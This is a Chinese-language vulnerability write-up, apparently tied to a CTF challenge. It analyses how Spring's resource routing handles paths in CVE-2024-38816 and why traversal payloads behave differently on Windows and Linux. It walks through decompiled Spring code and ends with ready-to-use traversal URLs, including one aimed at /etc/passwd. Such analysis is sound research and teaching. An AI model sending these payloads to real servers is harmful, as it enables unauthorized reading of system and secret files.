Windows和Linux在CVE-2024-38816下的路径解析差异分析

前言

在这个路径穿越CVE-2024-38816流出来的payload中基本都是在Windows平台上调试分析的,但是到了Linux平台上,对于路径的处理会有些区别,导致会穿越失败

漏洞定位

基本位于对网站的路由配置下

WebConfig.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.ota.config;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.FileSystemResource;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;

@Configuration
public class WebConfig {
@Bean
public RouterFunction<ServerResponse> route() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static"));
}
}

其作用一句话概括,就是把/static路由下的资源请求映射到本地文件夹目录/app/static去处理

Windows下的路径处理分析

漏洞分析

在这里我们有两种方式去定位到路径的关键处理类

  • 事后诸葛亮,直接去diff一下修复的代码,就能比较快定位到处理类
  • 通过回溯帧,打印调试信息等手段找到处理函数

这里还是希望可以通过一个漏洞挖掘的角度去定位这个漏洞点

步入RouterFunctions.resources打下断点

image-20250911201443316

接着去请求/app/static下本地真实存在的文件,即可进入断点(这里我使用的路径是E:// Windows的形式)

image-20250911203447642

回溯帧定位到URL处理相关类PathResourceLookupFunction

image-20250911210019261

这里有很明显的对路径的处理,比如校验是否存在..或者WEB-INF什么的

image-20250911210558760

然后在这里打每个方法上打上断点,看看第一次请求会请求到哪

请求后可以看到走到了我们的apply函数,并且参数就是我们的request,带着我们访问的路由信息

image-20250911211345333

先看第一部分

1
2
3
4
5
6
PathContainer pathContainer = request.requestPath().pathWithinApplication();
if (!this.pattern.matches(pathContainer)) {
return Mono.empty();
} else {
pathContainer = this.pattern.extractPathWithinPattern(pathContainer);
String path = this.processPath(pathContainer.value());

从我们/static/1.txt取出/static/之后的字符串,然后使用processPath对它进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String processPath(String path) {
boolean slash = false;

for(int i = 0; i < path.length(); ++i) {
if (path.charAt(i) == '/') {
slash = true;
} else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
if (i != 0 && (i != 1 || !slash)) {
path = slash ? "/" + path.substring(i) : path.substring(i);
return path;
}

return path;
}
}

return slash ? "/" : "";
}

这个 processPath(String path) 方法可以总结为:剔掉路径开头一串无效字符,只保留从第一个“有效字符”开始的部分,并在前面加上斜杠 /(如果原路径里有斜杠)

逻辑拆解

  1. 初始化 slash = false
    → 标记是否遇到过斜杠。
  2. 遍历字符串每个字符:
    • 如果遇到 '/' → 设置 slash = true(记下曾出现过斜杠)。
    • 如果遇到非控制字符(> ' ' 且不是 127),说明这是第一个“有意义”的字符:
      • 情况 A:这个字符不是第一个字符,且前面不是“单个斜杠”。
        → 如果之前出现过 /,就在结果前面补一个 /,然后截掉前面无效部分。
        → 否则直接截掉前面无效部分。
      • 情况 B:这个字符就是第一个(或仅有一个前导 /)。
        → 直接返回原字符串。
  3. 如果循环结束还没找到有效字符:
    • 如果曾出现过斜杠,返回 "/";否则返回空串 ""

处理完到第二部分,也就是如果我们的url有%就对它进行urlencode

1
2
3
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

再看第三部分,也就是校验部分和读取部分,也就是说如果过了StringUtils.hasLength(path) && !this.isInvalidPath(path)的校验,就去关联我们的本地文件

1
2
3
4
5
6
7
8
if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();
} catch (IOException ex) {
throw new UncheckedIOException(ex);
}
}

先看这两个校验如何通过,首先hasLength是肯定可以通过的,主要是isInvalidPath,我们这里是想要让他返回false

1
2
3
4
5
6
7
8
private boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

首先是我们/static/后面的字符串不能包含WEB-INFMATA-INF然后是检测第一个字符串是不是/是就去掉,或者是以各种协议开头,比如file://,http://就ban掉,还有一个特殊的url://

1
2
3
4
5
if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
return true;
} else {
return false;
}

然后最后就是检测目录穿越的..../了,但是这里的../的检测之前先做了一个cleanPath的处理,问题就出现在这个函数上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public static String cleanPath(String path) {
if (!hasLength(path)) {
return path;
} else {
String normalizedPath;
if (path.indexOf(92) != -1) {
normalizedPath = replace(path, "\\\\", "/");
normalizedPath = replace(normalizedPath, "\\", "/");
} else {
normalizedPath = path;
}

String pathToUse = normalizedPath;
if (normalizedPath.indexOf(46) == -1) {
return normalizedPath;
} else {
int prefixIndex = normalizedPath.indexOf(58);
String prefix = "";
if (prefixIndex != -1) {
prefix = normalizedPath.substring(0, prefixIndex + 1);
if (prefix.contains("/")) {
prefix = "";
} else {
pathToUse = normalizedPath.substring(prefixIndex + 1);
}
}

if (pathToUse.startsWith("/")) {
prefix = prefix + "/";
pathToUse = pathToUse.substring(1);
}

String[] pathArray = delimitedListToStringArray(pathToUse, "/");
Deque<String> pathElements = new ArrayDeque(pathArray.length);
int tops = 0;

for(int i = pathArray.length - 1; i >= 0; --i) {
String element = pathArray[i];
if (!".".equals(element)) {
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
} else {
pathElements.addFirst(element);
}
}
}

if (pathArray.length == pathElements.size()) {
return normalizedPath;
} else {
for(int i = 0; i < tops; ++i) {
pathElements.addFirst("..");
}

if (pathElements.size() == 1 && ((String)pathElements.getLast()).isEmpty() && !prefix.endsWith("/")) {
pathElements.addFirst(".");
}

String joined = collectionToDelimitedString(pathElements, "/");
return prefix.isEmpty() ? joined : prefix + joined;
}
}
}
}

我们的主要目的就是输入一个../这样的穿越路径但是经过cleanPath却不含../,又因为这个判断是通过&&连接的,所以只要让后面这个cleanPath处理过后的字符串不包含../即可绕过

最主要的两个处理部分就是

第一部分

如果检测到了\\或者\,会把它转换为/

1
2
3
4
5
6
if (path.indexOf(92) != -1) {
normalizedPath = replace(path, "\\\\", "/");
normalizedPath = replace(normalizedPath, "\\", "/");
} else {
normalizedPath = path;
}

第二部分

主要作用就是把我们的路径去冗化,比如说一个路径dog/cat/../aj其实表示的就是dog/aj

这部分做的就是这个事情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
...
int prefixIndex = normalizedPath.indexOf(58);
String prefix = "";
if (prefixIndex != -1) {
prefix = normalizedPath.substring(0, prefixIndex + 1);
if (prefix.contains("/")) {
prefix = "";
} else {
pathToUse = normalizedPath.substring(prefixIndex + 1);
}
}

if (pathToUse.startsWith("/")) {
prefix = prefix + "/";
pathToUse = pathToUse.substring(1);
}

String[] pathArray = delimitedListToStringArray(pathToUse, "/");
Deque<String> pathElements = new ArrayDeque(pathArray.length);
int tops = 0;

for(int i = pathArray.length - 1; i >= 0; --i) {
String element = pathArray[i];
if (!".".equals(element)) {
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
} else {
pathElements.addFirst(element);
}
}
}

if (pathArray.length == pathElements.size()) {
return normalizedPath;
} else {
for(int i = 0; i < tops; ++i) {
pathElements.addFirst("..");
}

if (pathElements.size() == 1 && ((String)pathElements.getLast()).isEmpty() && !prefix.endsWith("/")) {
pathElements.addFirst(".");
}
...
String joined = collectionToDelimitedString(pathElements, "/");

第一种绕过方式

既然dog/cat/../aj可以变成dog/aj,是不是就是把我们的../绕过了,所以就会把第二个判断条件判为错从而绕过

那么我们要想怎么构造多点的..呢?因为这个函数delimitedListToStringArray会把我们的字符串按/切割,但是这里空字符也会算进去

也就是说a///会被切割为['a','','',''],所以这是我们就想构造dog////cat/../../aj让他变成dog/aj但是由于最开始的processPath会一开始就把路径处理为dog/cat/../../aj所以最后还是穿不出去

所以就要借助第一部分将\转为/的机制

payload就是/static/%5c/%5c/../../xx.txt

image-20250912154417747

相当于我们是这样去读取我们的目录的

1
cat E:\1CTFDB\chanllenge\2025CISCN-final\awdp-web-ota\ota\\/\/../../xx.txt

因为Windows的路径处理中,\/都会被解析为正确的路由分隔符,所以可以被正确解析

image-20250912154404297

第二种绕过方式

第二种绕过方式比第一种更加巧妙,不需要借助\去绕过cleanPath的检查,只需要/即可

payload如下

1
/static/%2f/%2e%2e/%2f%2e%2e/flag.txt

根据上面分析,因为cleanpath会把一个/..吞掉,然后proceess之后才对url进行解码,所以直接绕过了

最终两个POC

只能Windows环境下使用

1
/static/%5c/%5c/../../xx.txt

Windows和Linux通杀

1
/static/%2f/%2f/%2e%2e/%2f/%2f/%2e%2e/etc/passwd

Linux下的路径处理分析

在linux启动远程debug

image-20250912171802664

一样走进刚刚的断点

image-20250912171745607

发现最后确实是返回的false且返回的路径和Windows一致

但是是404

image-20250912172002459

我们继续跟进绕过判断后的读文件逻辑

image-20250912173445183

跟进发现这里拼接的路由是对的

image-20250912173522361

在这创建了File对象并且返回这个地址

image-20250912173630320

最后到这行再步入就进不去了

1
return this.file != null ? new FileSystemResource(pathToUse) : new FileSystemResource(this.filePath.getFileSystem(), pathToUse);

最后是通过FileSystemResource传入pathToUse去读文件的,这里的pathToUse也完全符合我们的预期,但是还是读不了

image-20250912174129033

其实就是因为在linux中\并不会被当做分隔符而是会当做一个正常字符

于是这里调用了FileSystemResourceisReadable()发现如果不目录穿越正常读static目录下的文件返回值是true,如果是刚刚的payload返回值是false

1
2
3
public boolean isReadable() {
return this.file != null ? this.file.canRead() && !this.file.isDirectory() : Files.isReadable(this.filePath) && !Files.isDirectory(this.filePath, new LinkOption[0]);
}

这里的this.file就是我们上面提到的用我们的/opt/static/\/\/../flag初始化的file对象,结果是不可读的

所以我们就找到问题所在了,在Linux中我们使用这样的payload初始化file对象,是找不到我们要穿越的文件的

我们不妨先在命令行测试payload,因为归根结底就是因为linux不会把\识别为分隔符而是会识别成一个文件夹\

image-20250912203648925

所以我们的第一个POC是打不通的,只能使用第二个POC